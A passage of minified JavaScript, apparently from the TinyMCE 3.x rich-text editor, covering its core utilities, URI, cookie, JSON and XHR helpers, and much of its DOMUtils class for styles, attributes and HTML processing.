f!==d}if(e=="array"&&(f.hasOwnProperty&&f instanceof Array)){return true}return typeof(f)==e},each:function(h,e,g){var i,f;if(!h){return 0}g=g||h;if(h.length!==d){for(i=0,f=h.length;i<f;i++){if(e.call(g,h[i],i,h)===false){return 0}}}else{for(i in h){if(h.hasOwnProperty(i)){if(e.call(g,h[i],i,h)===false){return 0}}}}return 1},map:function(e,g){var h=[];b.each(e,function(f){h.push(g(f))});return h},grep:function(e,g){var h=[];b.each(e,function(f){if(!g||g(f)){h.push(f)}});return h},inArray:function(f,g){var h,e;if(f){for(h=0,e=f.length;h<e;h++){if(f[h]===g){return h}}}return -1},extend:function(k,j){var h,g,f=arguments;for(h=1,g=f.length;h<g;h++){j=f[h];b.each(j,function(e,i){if(e!==d){k[i]=e}})}return k},trim:function(e){return(e?""+e:"").replace(a,"")},create:function(m,e){var l=this,f,h,i,j,g,k=0;m=/^((static) )?([\w.]+)(:([\w.]+))?/.exec(m);i=m[3].match(/(^|\.)(\w+)$/i)[2];h=l.createNS(m[3].replace(/\.\w+$/,""));if(h[i]){return}if(m[2]=="static"){h[i]=e;if(this.onCreate){this.onCreate(m[2],m[3],h[i])}return}if(!e[i]){e[i]=function(){};k=1}h[i]=e[i];l.extend(h[i].prototype,e);if(m[5]){f=l.resolve(m[5]).prototype;j=m[5].match(/\.(\w+)$/i)[1];g=h[i];if(k){h[i]=function(){return f[j].apply(this,arguments)}}else{h[i]=function(){this.parent=f[j];return g.apply(this,arguments)}}h[i].prototype[i]=h[i];l.each(f,function(o,p){h[i].prototype[p]=f[p]});l.each(e,function(o,p){if(f[p]){h[i].prototype[p]=function(){this.parent=f[p];return o.apply(this,arguments)}}else{if(p!=i){h[i].prototype[p]=o}}})}l.each(e["static"],function(o,p){h[i][p]=o});if(this.onCreate){this.onCreate(m[2],m[3],h[i].prototype)}},walk:function(h,g,i,e){e=e||this;if(h){if(i){h=h[i]}b.each(h,function(j,f){if(g.call(e,j,f,i)===false){return false}b.walk(j,g,i,e)})}},createNS:function(h,g){var f,e;g=g||c;h=h.split(".");for(f=0;f<h.length;f++){e=h[f];if(!g[e]){g[e]={}}g=g[e]}return g},resolve:function(h,g){var f,e;g=g||c;h=h.split(".");for(f=0,e=h.length;f<e;f++){g=g[h[f]];if(!g){break}}return g},addUnload:function(i,h){var g=this;i={func:i,scope:h||this};if(!g.unloads){function e(){var f=g.unloads,k,l;if(f){for(l in f){k=f[l];if(k&&k.func){k.func.call(k.scope,1)}}if(c.detachEvent){c.detachEvent("onbeforeunload",j);c.detachEvent("onunload",e)}else{if(c.removeEventListener){c.removeEventListener("unload",e,false)}}g.unloads=k=f=w=e=0;if(c.CollectGarbage){CollectGarbage()}}}function j(){var k=document;if(k.readyState=="interactive"){function f(){k.detachEvent("onstop",f);if(e){e()}k=0}if(k){k.attachEvent("onstop",f)}c.setTimeout(function(){if(k){k.detachEvent("onstop",f)}},0)}}if(c.attachEvent){c.attachEvent("onunload",e);c.attachEvent("onbeforeunload",j)}else{if(c.addEventListener){c.addEventListener("unload",e,false)}}g.unloads=[i]}else{g.unloads.push(i)}return i},removeUnload:function(h){var e=this.unloads,g=null;b.each(e,function(j,f){if(j&&j.func==h){e.splice(f,1);g=h;return false}});return g},explode:function(e,f){return e?b.map(e.split(f||","),b.trim):e},_addVer:function(f){var e;if(!this.query){return f}e=(f.indexOf("?")==-1?"?":"&")+this.query;if(f.indexOf("#")==-1){return f+e}return f.replace("#",e+"#")}};b._init();c.tinymce=c.tinyMCE=b})(window);tinymce.create("tinymce.util.Dispatcher",{scope:null,listeners:null,Dispatcher:function(a){this.scope=a||this;this.listeners=[]},add:function(a,b){this.listeners.push({cb:a,scope:b||this.scope});return a},addToTop:function(a,b){this.listeners.unshift({cb:a,scope:b||this.scope});return a},remove:function(a){var b=this.listeners,c=null;tinymce.each(b,function(e,d){if(a==e.cb){c=a;b.splice(d,1);return false}});return c},dispatch:function(){var f,d=arguments,e,b=this.listeners,g;for(e=0;e<b.length;e++){g=b[e];f=g.cb.apply(g.scope,d);if(f===false){break}}return f}});(function(){var a=tinymce.each;tinymce.create("tinymce.util.URI",{URI:function(e,g){var f=this,h,d,c;e=tinymce.trim(e);g=f.settings=g||{};if(/^(mailto|tel|news|javascript|about|data):/i.test(e)||/^\s*#/.test(e)){f.source=e;return}if(e.indexOf("/")===0&&e.indexOf("//")!==0){e=(g.base_uri?g.base_uri.protocol||"http":"http")+"://mce_host"+e}if(!/^\w*:?\/\//.test(e)){e=(g.base_uri.protocol||"http")+"://mce_host"+f.toAbsPath(g.base_uri.path,e)}e=e.replace(/@@/g,"(mce_at)");e=/^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@]*):?([^:@]*))?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/.exec(e);a(["source","protocol","authority","userInfo","user","password","host","port","relative","path","directory","file","query","anchor"],function(b,j){var k=e[j];if(k){k=k.replace(/\(mce_at\)/g,"@@")}f[b]=k});if(c=g.base_uri){if(!f.protocol){f.protocol=c.protocol}if(!f.userInfo){f.userInfo=c.userInfo}if(!f.port&&f.host=="mce_host"){f.port=c.port}if(!f.host||f.host=="mce_host"){f.host=c.host}f.source=""}},setPath:function(c){var b=this;c=/^(.*?)\/?(\w+)?$/.exec(c);b.path=c[0];b.directory=c[1];b.file=c[2];b.source="";b.getURI()},toRelative:function(b){var c=this,d;if(b==="./"){return b}b=new tinymce.util.URI(b,{base_uri:c});if((b.host!="mce_host"&&c.host!=b.host&&b.host)||c.port!=b.port||c.protocol!=b.protocol){return b.getURI()}d=c.toRelPath(c.path,b.path);if(b.query){d+="?"+b.query}if(b.anchor){d+="#"+b.anchor}return d},toAbsolute:function(b,c){var b=new tinymce.util.URI(b,{base_uri:this});return b.getURI(this.host==b.host&&this.protocol==b.protocol?c:0)},toRelPath:function(g,h){var c,f=0,d="",e,b;g=g.substring(0,g.lastIndexOf("/"));g=g.split("/");c=h.split("/");if(g.length>=c.length){for(e=0,b=g.length;e<b;e++){if(e>=c.length||g[e]!=c[e]){f=e+1;break}}}if(g.length<c.length){for(e=0,b=c.length;e<b;e++){if(e>=g.length||g[e]!=c[e]){f=e+1;break}}}if(f==1){return h}for(e=0,b=g.length-(f-1);e<b;e++){d+="../"}for(e=f-1,b=c.length;e<b;e++){if(e!=f-1){d+="/"+c[e]}else{d+=c[e]}}return d},toAbsPath:function(e,f){var c,b=0,h=[],d,g;d=/\/$/.test(f)?"/":"";e=e.split("/");f=f.split("/");a(e,function(i){if(i){h.push(i)}});e=h;for(c=f.length-1,h=[];c>=0;c--){if(f[c].length==0||f[c]=="."){continue}if(f[c]==".."){b++;continue}if(b>0){b--;continue}h.push(f[c])}c=e.length-b;if(c<=0){g=h.reverse().join("/")}else{g=e.slice(0,c).join("/")+"/"+h.reverse().join("/")}if(g.indexOf("/")!==0){g="/"+g}if(d&&g.lastIndexOf("/")!==g.length-1){g+=d}return g},getURI:function(d){var c,b=this;if(!b.source||d){c="";if(!d){if(b.protocol){c+=b.protocol+"://"}if(b.userInfo){c+=b.userInfo+"@"}if(b.host){c+=b.host}if(b.port){c+=":"+b.port}}if(b.path){c+=b.path}if(b.query){c+="?"+b.query}if(b.anchor){c+="#"+b.anchor}b.source=c}return b.source}})})();(function(){var a=tinymce.each;tinymce.create("static tinymce.util.Cookie",{getHash:function(d){var b=this.get(d),c;if(b){a(b.split("&"),function(e){e=e.split("=");c=c||{};c[unescape(e[0])]=unescape(e[1])})}return c},setHash:function(j,b,g,f,i,c){var h="";a(b,function(e,d){h+=(!h?"":"&")+escape(d)+"="+escape(e)});this.set(j,h,g,f,i,c)},get:function(i){var h=document.cookie,g,f=i+"=",d;if(!h){return}d=h.indexOf("; "+f);if(d==-1){d=h.indexOf(f);if(d!=0){return null}}else{d+=2}g=h.indexOf(";",d);if(g==-1){g=h.length}return unescape(h.substring(d+f.length,g))},set:function(i,b,g,f,h,c){document.cookie=i+"="+escape(b)+((g)?"; expires="+g.toGMTString():"")+((f)?"; path="+escape(f):"")+((h)?"; domain="+h:"")+((c)?"; secure":"")},remove:function(e,b){var c=new Date();c.setTime(c.getTime()-1000);this.set(e,"",c,b,c)}})})();tinymce.create("static tinymce.util.JSON",{serialize:function(e){var c,a,d=tinymce.util.JSON.serialize,b;if(e==null){return"null"}b=typeof e;if(b=="string"){a="\bb\tt\nn\ff\rr\"\"''\\\\";return'"'+e.replace(/([\u0080-\uFFFF\x00-\x1f\"])/g,function(g,f){c=a.indexOf(f);if(c+1){return"\\"+a.charAt(c+1)}g=f.charCodeAt().toString(16);return"\\u"+"0000".substring(g.length)+g})+'"'}if(b=="object"){if(e.hasOwnProperty&&e instanceof Array){for(c=0,a="[";c<e.length;c++){a+=(c>0?",":"")+d(e[c])}return a+"]"}a="{";for(c in e){a+=typeof e[c]!="function"?(a.length>1?',"':'"')+c+'":'+d(e[c]):""}return a+"}"}return""+e},parse:function(s){try{return eval("("+s+")")}catch(ex){}}});tinymce.create("static tinymce.util.XHR",{send:function(g){var a,e,b=window,h=0;g.scope=g.scope||this;g.success_scope=g.success_scope||g.scope;g.error_scope=g.error_scope||g.scope;g.async=g.async===false?false:true;g.data=g.data||"";function d(i){a=0;try{a=new ActiveXObject(i)}catch(c){}return a}a=b.XMLHttpRequest?new XMLHttpRequest():d("Microsoft.XMLHTTP")||d("Msxml2.XMLHTTP");if(a){if(a.overrideMimeType){a.overrideMimeType(g.content_type)}a.open(g.type||(g.data?"POST":"GET"),g.url,g.async);if(g.content_type){a.setRequestHeader("Content-Type",g.content_type)}a.setRequestHeader("X-Requested-With","XMLHttpRequest");a.send(g.data);function f(){if(!g.async||a.readyState==4||h++>10000){if(g.success&&h<10000&&a.status==200){g.success.call(g.success_scope,""+a.responseText,a,g)}else{if(g.error){g.error.call(g.error_scope,h>10000?"TIMED_OUT":"GENERAL",a,g)}}a=null}else{b.setTimeout(f,10)}}if(!g.async){return f()}e=b.setTimeout(f,10)}}});(function(){var c=tinymce.extend,b=tinymce.util.JSON,a=tinymce.util.XHR;tinymce.create("tinymce.util.JSONRequest",{JSONRequest:function(d){this.settings=c({},d);this.count=0},send:function(f){var e=f.error,d=f.success;f=c(this.settings,f);f.success=function(h,g){h=b.parse(h);if(typeof(h)=="undefined"){h={error:"JSON Parse error."}}if(h.error){e.call(f.error_scope||f.scope,h.error,g)}else{d.call(f.success_scope||f.scope,h.result)}};f.error=function(h,g){e.call(f.error_scope||f.scope,h,g)};f.data=b.serialize({id:f.id||"c"+(this.count++),method:f.method,params:f.params});f.content_type="application/json";a.send(f)},"static":{sendRPC:function(d){return new tinymce.util.JSONRequest().send(d)}}})}());(function(m){var k=m.each,j=m.is,i=m.isWebKit,d=m.isIE,a=/^(H[1-6R]|P|DIV|ADDRESS|PRE|FORM|T(ABLE|BODY|HEAD|FOOT|H|R|D)|LI|OL|UL|CAPTION|BLOCKQUOTE|CENTER|DL|DT|DD|DIR|FIELDSET|NOSCRIPT|MENU|ISINDEX|SAMP)$/,e=g("checked,compact,declare,defer,disabled,ismap,multiple,nohref,noresize,noshade,nowrap,readonly,selected"),f=g("src,href,style,coords,shape"),c={"&":"&amp;",'"':"&quot;","<":"&lt;",">":"&gt;"},n=/[<>&\"]/g,b=/^([a-z0-9],?)+$/i,h=/<(\w+)((?:\s+\w+(?:\s*=\s*(?:(?:"[^"]*")|(?:'[^']*')|[^>\s]+))?)*)(\s*\/?)>/g,l=/(\w+)(?:\s*=\s*(?:(?:"((?:\\.|[^"])*)")|(?:'((?:\\.|[^'])*)')|([^>\s]+)))?/g;function g(q){var p={},o;q=q.split(",");for(o=q.length;o>=0;o--){p[q[o]]=1}return p}m.create("tinymce.dom.DOMUtils",{doc:null,root:null,files:null,pixelStyles:/^(top|left|bottom|right|width|height|borderWidth)$/,props:{"for":"htmlFor","class":"className",className:"className",checked:"checked",disabled:"disabled",maxlength:"maxLength",readonly:"readOnly",selected:"selected",value:"value",id:"id",name:"name",type:"type"},DOMUtils:function(u,q){var p=this,o;p.doc=u;p.win=window;p.files={};p.cssFlicker=false;p.counter=0;p.boxModel=!m.isIE||u.compatMode=="CSS1Compat";p.stdMode=u.documentMode===8;p.settings=q=m.extend({keep_values:false,hex_colors:1,process_html:1},q);if(m.isIE6){try{u.execCommand("BackgroundImageCache",false,true)}catch(r){p.cssFlicker=true}}if(q.valid_styles){p._styles={};k(q.valid_styles,function(t,s){p._styles[s]=m.explode(t)})}m.addUnload(p.destroy,p)},getRoot:function(){var o=this,p=o.settings;return(p&&o.get(p.root_element))||o.doc.body},getViewPort:function(p){var q,o;p=!p?this.win:p;q=p.document;o=this.boxModel?q.documentElement:q.body;return{x:p.pageXOffset||o.scrollLeft,y:p.pageYOffset||o.scrollTop,w:p.innerWidth||o.clientWidth,h:p.innerHeight||o.clientHeight}},getRect:function(s){var r,o=this,q;s=o.get(s);r=o.getPos(s);q=o.getSize(s);return{x:r.x,y:r.y,w:q.w,h:q.h}},getSize:function(r){var p=this,o,q;r=p.get(r);o=p.getStyle(r,"width");q=p.getStyle(r,"height");if(o.indexOf("px")===-1){o=0}if(q.indexOf("px")===-1){q=0}return{w:parseInt(o)||r.offsetWidth||r.clientWidth,h:parseInt(q)||r.offsetHeight||r.clientHeight}},getParent:function(q,p,o){return this.getParents(q,p,o,false)},getParents:function(z,v,s,y){var q=this,p,u=q.settings,x=[];z=q.get(z);y=y===undefined;if(u.strict_root){s=s||q.getRoot()}if(j(v,"string")){p=v;if(v==="*"){v=function(o){return o.nodeType==1}}else{v=function(o){return q.is(o,p)}}}while(z){if(z==s||!z.nodeType||z.nodeType===9){break}if(!v||v(z)){if(y){x.push(z)}else{return z}}z=z.parentNode}return y?x:null},get:function(o){var p;if(o&&this.doc&&typeof(o)=="string"){p=o;o=this.doc.getElementById(o);if(o&&o.id!==p){return this.doc.getElementsByName(p)[1]}}return o},getNext:function(p,o){return this._findSib(p,o,"nextSibling")},getPrev:function(p,o){return this._findSib(p,o,"previousSibling")},select:function(q,p){var o=this;return m.dom.Sizzle(q,o.get(p)||o.get(o.settings.root_element)||o.doc,[])},is:function(q,o){var p;if(q.length===undefined){if(o==="*"){return q.nodeType==1}if(b.test(o)){o=o.toLowerCase().split(/,/);q=q.nodeName.toLowerCase();for(p=o.length-1;p>=0;p--){if(o[p]==q){return true}}return false}}return m.dom.Sizzle.matches(o,q.nodeType?[q]:q).length>0},add:function(s,v,o,r,u){var q=this;return this.run(s,function(y){var x,t;x=j(v,"string")?q.doc.createElement(v):v;q.setAttribs(x,o);if(r){if(r.nodeType){x.appendChild(r)}else{q.setHTML(x,r)}}return !u?y.appendChild(x):x})},create:function(q,o,p){return this.add(this.doc.createElement(q),q,o,p,1)},createHTML:function(v,p,s){var u="",r=this,q;u+="<"+v;for(q in p){if(p.hasOwnProperty(q)){u+=" "+q+'="'+r.encode(p[q])+'"'}}if(m.is(s)){return u+">"+s+"</"+v+">"}return u+" />"},remove:function(o,p){return this.run(o,function(r){var q,s;q=r.parentNode;if(!q){return null}if(p){while(s=r.firstChild){if(!m.isIE||s.nodeType!==3||s.nodeValue){q.insertBefore(s,r)}else{r.removeChild(s)}}}return q.removeChild(r)})},setStyle:function(r,o,p){var q=this;return q.run(r,function(v){var u,t;u=v.style;o=o.replace(/-(\D)/g,function(x,s){return s.toUpperCase()});if(q.pixelStyles.test(o)&&(m.is(p,"number")||/^[\-0-9\.]+$/.test(p))){p+="px"}switch(o){case"opacity":if(d){u.filter=p===""?"":"alpha(opacity="+(p*100)+")";if(!r.currentStyle||!r.currentStyle.hasLayout){u.display="inline-block"}}u[o]=u["-moz-opacity"]=u["-khtml-opacity"]=p||"";break;case"float":d?u.styleFloat=p:u.cssFloat=p;break;default:u[o]=p||""}if(q.settings.update_styles){q.setAttrib(v,"_mce_style")}})},getStyle:function(r,o,q){r=this.get(r);if(!r){return false}if(this.doc.defaultView&&q){o=o.replace(/[A-Z]/g,function(s){return"-"+s});try{return this.doc.defaultView.getComputedStyle(r,null).getPropertyValue(o)}catch(p){return null}}o=o.replace(/-(\D)/g,function(t,s){return s.toUpperCase()});if(o=="float"){o=d?"styleFloat":"cssFloat"}if(r.currentStyle&&q){return r.currentStyle[o]}return r.style[o]},setStyles:function(u,v){var q=this,r=q.settings,p;p=r.update_styles;r.update_styles=0;k(v,function(o,s){q.setStyle(u,s,o)});r.update_styles=p;if(r.update_styles){q.setAttrib(u,r.cssText)}},setAttrib:function(q,r,o){var p=this;if(!q||!r){return}if(p.settings.strict){r=r.toLowerCase()}return this.run(q,function(u){var t=p.settings;switch(r){case"style":if(!j(o,"string")){k(o,function(s,x){p.setStyle(u,x,s)});return}if(t.keep_values){if(o&&!p._isRes(o)){u.setAttribute("_mce_style",o,2)}else{u.removeAttribute("_mce_style",2)}}u.style.cssText=o;break;case"class":u.className=o||"";break;case"src":case"href":if(t.keep_values){if(t.url_converter){o=t.url_converter.call(t.url_converter_scope||p,o,r,u)}p.setAttrib(u,"_mce_"+r,o,2)}break;case"shape":u.setAttribute("_mce_style",o);break}if(j(o)&&o!==null&&o.length!==0){u.setAttribute(r,""+o,2)}else{u.removeAttribute(r,2)}})},setAttribs:function(q,r){var p=this;return this.run(q,function(o){k(r,function(s,t){p.setAttrib(o,t,s)})})},getAttrib:function(r,s,q){var o,p=this;r=p.get(r);if(!r||r.nodeType!==1){return false}if(!j(q)){q=""}if(/^(src|href|style|coords|shape)$/.test(s)){o=r.getAttribute("_mce_"+s);if(o){return o}}if(d&&p.props[s]){o=r[p.props[s]];o=o&&o.nodeValue?o.nodeValue:o}if(!o){o=r.getAttribute(s,2)}if(/^(checked|compact|declare|defer|disabled|ismap|multiple|nohref|noshade|nowrap|readonly|selected)$/.test(s)){if(r[p.props[s]]===true&&o===""){return s}return o?s:""}if(r.nodeName==="FORM"&&r.getAttributeNode(s)){return r.getAttributeNode(s).nodeValue}if(s==="style"){o=o||r.style.cssText;if(o){o=p.serializeStyle(p.parseStyle(o),r.nodeName);if(p.settings.keep_values&&!p._isRes(o)){r.setAttribute("_mce_style",o)}}}if(i&&s==="class"&&o){o=o.replace(/(apple|webkit)\-[a-z\-]+/gi,"")}if(d){switch(s){case"rowspan":case"colspan":if(o===1){o=""}break;case"size":if(o==="+0"||o===20||o===0){o=""}break;case"width":case"height":case"vspace":case"checked":case"disabled":case"readonly":if(o===0){o=""}break;case"hspace":if(o===-1){o=""}break;case"maxlength":case"tabindex":if(o===32768||o===2147483647||o==="32768"){o=""}break;case"multiple":case"compact":case"noshade":case"nowrap":if(o===65535){return s}return q;case"shape":o=o.toLowerCase();break;default:if(s.indexOf("on")===0&&o){o=(""+o).replace(/^function\s+\w+\(\)\s+\{\s+(.*)\s+\}$/,"$1")}}}return(o!==undefined&&o!==null&&o!=="")?""+o:q},getPos:function(A,s){var p=this,o=0,z=0,u,v=p.doc,q;A=p.get(A);s=s||v.body;if(A){if(d&&!p.stdMode){A=A.getBoundingClientRect();u=p.boxModel?v.documentElement:v.body;o=p.getStyle(p.select("html")[0],"borderWidth");o=(o=="medium"||p.boxModel&&!p.isIE6)&&2||o;return{x:A.left+u.scrollLeft-o,y:A.top+u.scrollTop-o}}q=A;while(q&&q!=s&&q.nodeType){o+=q.offsetLeft||0;z+=q.offsetTop||0;q=q.offsetParent}q=A.parentNode;while(q&&q!=s&&q.nodeType){o-=q.scrollLeft||0;z-=q.scrollTop||0;q=q.parentNode}}return{x:o,y:z}},parseStyle:function(r){var u=this,v=u.settings,x={};if(!r){return x}function p(D,A,C){var z,B,o,y;z=x[D+"-top"+A];if(!z){return}B=x[D+"-right"+A];if(z!=B){return}o=x[D+"-bottom"+A];if(B!=o){return}y=x[D+"-left"+A];if(o!=y){return}x[C]=y;delete x[D+"-top"+A];delete x[D+"-right"+A];delete x[D+"-bottom"+A];delete x[D+"-left"+A]}function q(y,s,o,A){var z;z=x[s];if(!z){return}z=x[o];if(!z){return}z=x[A];if(!z){return}x[y]=x[s]+" "+x[o]+" "+x[A];delete x[s];delete x[o];delete x[A]}r=r.replace(/&(#?[a-z0-9]+);/g,"&$1_MCE_SEMI_");k(r.split(";"),function(s){var o,t=[];if(s){s=s.replace(/_MCE_SEMI_/g,";");s=s.replace(/url\([^\)]+\)/g,function(y){t.push(y);return"url("+t.length+")"});s=s.split(":");o=m.trim(s[1]);o=o.replace(/url\(([^\)]+)\)/g,function(z,y){return t[parseInt(y)-1]});o=o.replace(/rgb\([^\)]+\)/g,function(y){return u.toHex(y)});if(v.url_converter){o=o.replace(/url\([\'\"]?([^\)\'\"]+)[\'\"]?\)/g,function(y,z){return"url("+v.url_converter.call(v.url_converter_scope||u,u.decode(z),"style",null)+")"})}x[m.trim(s[0]).toLowerCase()]=o}});p("border","","border");p("border","-width","border-width");p("border","-color","border-color");p("border","-style","border-style");p("padding","","padding");p("margin","","margin");q("border","border-width","border-style","border-color");if(d){if(x.border=="medium none"){x.border=""}}return x},serializeStyle:function(v,p){var q=this,r="";function u(s,o){if(o&&s){if(o.indexOf("-")===0){return}switch(o){case"font-weight":if(s==700){s="bold"}break;case"color":case"background-color":s=s.toLowerCase();break}r+=(r?" ":"")+o+": "+s+";"}}if(p&&q._styles){k(q._styles["*"],function(o){u(v[o],o)});k(q._styles[p.toLowerCase()],function(o){u(v[o],o)})}else{k(v,u)}return r},loadCSS:function(o){var q=this,r=q.doc,p;if(!o){o=""}p=q.select("head")[0];k(o.split(","),function(s){var t;if(q.files[s]){return}q.files[s]=true;t=q.create("link",{rel:"stylesheet",href:m._addVer(s)});if(d&&r.documentMode){t.onload=function(){r.recalc();t.onload=null}}p.appendChild(t)})},addClass:function(o,p){return this.run(o,function(q){var r;if(!p){return 0}if(this.hasClass(q,p)){return q.className}r=this.removeClass(q,p);return q.className=(r!=""?(r+" "):"")+p})},removeClass:function(q,r){var o=this,p;return o.run(q,function(t){var s;if(o.hasClass(t,r)){if(!p){p=new RegExp("(^|\\s+)"+r+"(\\s+|$)","g")}s=t.className.replace(p," ");s=m.trim(s!=" "?s:"");t.className=s;if(!s){t.removeAttribute("class");t.removeAttribute("className")}return s}return t.className})},hasClass:function(p,o){p=this.get(p);if(!p||!o){return false}return(" "+p.className+" ").indexOf(" "+o+" ")!==-1},show:function(o){return this.setStyle(o,"display","block")},hide:function(o){return this.setStyle(o,"display","none")},isHidden:function(o){o=this.get(o);return !o||o.style.display=="none"||this.getStyle(o,"display")=="none"},uniqueId:function(o){return(!o?"mce_":o)+(this.counter++)},setHTML:function(q,p){var o=this;return this.run(q,function(v){var r,t,s,z,u,r;p=o.processHTML(p);if(d){function y(){while(v.firstChild){v.firstChild.removeNode()}try{v.innerHTML="<br />"+p;v.removeChild(v.firstChild)}catch(x){r=o.create("div");r.innerHTML="<br />"+p;k(r.childNodes,function(B,A){if(A){v.appendChild(B)}})}}if(o.settings.fix_ie_paragraphs){p=p.replace(/<p><\/p>|<p([^>]+)><\/p>|<p[^\/+]\/>/gi,'<p$1 _mce_keep="true">&nbsp;</p>')}y();if(o.settings.fix_ie_paragraphs){s=v.getElementsByTagName("p");for(t=s.length-1,r=0;t>=0;t--){z=s[t];if(!z.hasChildNodes()){if(!z._mce_keep){r=1;break}z.removeAttribute("_mce_keep")}}}if(r){p=p.replace(/<p ([^>]+)>|<p>/ig,'<div $1 _mce_tmp="1">');p=p.replace(/<\/p>/gi,"</div>");y();if(o.settings.fix_ie_paragraphs){s=v.getElementsByTagName("DIV");for(t=s.length-1;t>=0;t--){z=s[t];if(z._mce_tmp){u=o.doc.createElement("p");z.cloneNode(false).outerHTML.replace(/([a-z0-9\-_]+)=/gi,function(A,x){var B;if(x!=="_mce_tmp"){B=z.getAttribute(x);if(!B&&x==="class"){B=z.className}u.setAttribute(x,B)}});for(r=0;r<z.childNodes.length;r++){u.appendChild(z.childNodes[r].cloneNode(true))}z.swapNode(u)}}}}}else{v.innerHTML=p}return p})},processHTML:function(r){var p=this,q=p.settings,v=[];if(!q.process_html){return r}if(d){r=r.replace(/&apos;/g,"&#39;");r=r.replace(/\s+(disabled|checked|readonly|selected)\s*=\s*[\"\']?(false|0)[\"\']?/gi,"")}r=r.replace(/<a( )([^>]+)\/>|<a\/>/gi,"<a$1$2></a>");if(q.keep_values){if(/<script|noscript|style/i.test(r)){function o(t){t=t.replace(/(<!--\[CDATA\[|\]\]-->)/g,"\n");t=t.replace(/^[\r\n]*|[\r\n]*$/g,"");t=t.replace(/^\s*(\/\/\s*<!--|\/\/\s*<!\[CDATA\[|<!--|<!\[CDATA\[)[\r\n]*/g,"");t=t.replace(/\s*(\/\/\s*\]\]>|\/\/\s*-->|\]\]>|-->|\]\]-->)\s*$/g,"");return t}r=r.replace(/<script([^>]+|)>([\s\S]*?)<\/script>/gi,function(s,x,t){if(!x){x=' type="text/javascript"'}x=x.replace(/src=\"([^\"]+)\"?/i,function(y,z){if(q.url_converter){z=p.encode(q.url_converter.call(q.url_converter_scope||p,p.decode(z),"src","script"))}return'_mce_src="'+z+'"'});if(m.trim(t)){v.push(o(t));t="<!--\nMCE_SCRIPT:"+(v.length-1)+"\n// -->"}return"<mce:script"+x+">"+t+"</mce:script>"});r=r.replace(/<style([^>]+|)>([\s\S]*?)<\/style>/gi,function(s,x,t){if(t){v.push(o(t));t="<!--\nMCE_SCRIPT:"+(v.length-1)+"\n-->"}return"<mce:style"+x+">"+t+"</mce:style><style "+x+' _mce_bogus="1">'+t+"</style>"});r=r.replace(/<noscript([^>]+|)>([\s\S]*?)<\/noscript>/g,function(s,x,t){return"<mce:noscript"+x+"><!--"+p.encode(t).replace(/--/g,"&#45;&#45;")+"--></mce:noscript>"})}r=r.replace(/<!\[CDATA\[([\s\S]+)\]\]>/g,"<!--[CDATA[$1]]-->");function u(s){return s.replace(h,function(y,z,x,t){return"<"+z+x.replace(l,function(B,A,E,D,C){var F;A=A.toLowerCase();E=E||D||C||"";if(e[A]){if(E==="false"||E==="0"){return}return A+'="'+A+'"'}if(f[A]&&x.indexOf("_mce_"+A)==-1){F=p.decode(E);if(q.url_converter&&(A=="src"||A=="href")){F=q.url_converter.call(q.url_converter_scope||p,F,A,z)}if(A=="style"){F=p.serializeStyle(p.parseStyle(F),A)}return A+'="'+E+'" _mce_'+A+'="'+p.encode(F)+'"'}return B})+t+">"})}r=u(r);r=r.replace(/MCE_SCRIPT:([0-9]+)/g,function(t,s){return v[s]})}return r},getOuterHTML:function(o){var p;o=this.get(o);if(!o){return null}if(o.outerHTML!==undefined){return o.outerHTML}p=(o.ownerDocument||this.doc).createElement("body");p.appendChild(o.cloneNode(true));return p.innerHTML},setOuterHTML:function(r,p,s){var o=this;function q(u,t,x){var y,v;v=x.createElement("body");v.innerHTML=t;y=v.lastChild;while(y){o.insertAfter(y.cloneNode(true),u);y=y.previousSibling}o.remove(u)}return this.run(r,function(u){u=o.get(u);if(u.nodeType==1){s=s||u.ownerDocument||o.doc;if(d){try{if(d&&u.nodeType==1){u.outerHTML=p}else{q(u,p,s)}}catch(t){q(u,p,s)}}else{q(u,p,s)}}})},decode:function(p){var q,r,o;if(/&[\w#]+;/.test(p)){q=this.doc.createElement("div");q.innerHTML=p;r=q.firstChild;o="";if(r){do{o+=r.nodeValue}while(r=r.nextSibling)}return o||p}return p},encode:function(o){return(""+o).replace(n,function(p){return c[p]})},insertAfter:function(o,p){p=this.get(p);return this.run(o,function(r){var q,s;q=p.parentNode;s=p.nextSibling;if(s){q.insertBefore(r,s)}else{q.appendChild(r)}return r})},isBlock:function(o){if(o.nodeType&&o.nodeType!==1){return false}o=o.nodeName||o;return a.test(o)},replace:function(s,r,p){var q=this;if(j(r,"array")){s=s.cloneNode(true)}return q.run(r,function(t){if(p){k(m.grep(t.childNodes),function(o){s.appendChild(o)})}return t.parentNode.replaceChild(s,t)})},rename:function(r,o){var q=this,p;if(r.nodeName!=o.toUpperCase()){p=q.create(o);k(q.getAttribs(r),function(s){q.setAttrib(p,s.nodeName,q.getAttrib(r,s.nodeName))});q.replace(p,r,1)}return p||r},findCommonAncestor:function(q,o){var r=q,p;while(r){p=o;while(p&&r!=p){p=p.parentNode}if(r==p){break}r=r.parentNode}if(!r&&q.ownerDocument){return q.ownerDocument.documentElement}return r},toHex:function(o){var q=/^\s*rgb\s*?\(\s*?([0-9]+)\s*?,\s*?([0-9]+)\s*?,\s*?([0-9]+)\s*?\)\s*$/i.exec(o);function p(r){r=parseInt(r).toString(16);return r.length>1?r:"0"+r}if(q){o="#"+p(q[1])+p(q[2])+p(q[3]);return o}return o},getClasses:function(){var s=this,o=[],r,u={},v=s.settings.class_filter,q;if(s.classes){return s.classes}function x(t){k(t.imports,function(y){x(y)});k(t.cssRules||t.rules,function(y){switch(y.type||1){case 1:if(y.selectorText){k(y.selectorText.split(","),function(z){z=z.replace(/^\s*|\s*$|^\s\./g,"");if(/\.mce/.test(z)||!/\.[\w\-]+$/.test(z)){return}q=z;z=z.replace(/.*\.([a-z0-9_\-]+).*/i,"$1");if(v&&!(z=v(z,q))){return}if(!u[z]){o.push({"class":z});u[z]=1}})}break;case 3:x(y.styleSheet);break}})}try{k(s.doc.styleSheets,x)}catch(p){}if(o.length>0){s.classes=o}return o},run:function(u,r,q){var p=this,v;if(p.doc&&typeof(u)==="string"){u=p.get(u)}if(!u){return false}q=q||this;if(!u.nodeType&&(u.length||u.length===0)){v=[];k(u,function(s,o){if(s){if(typeof(s)=="string"){s=p.doc.getElementById(s)}v.push(r.call(q,s,o))}});return v}return r.call(q,u)},getAttribs:function(q){var 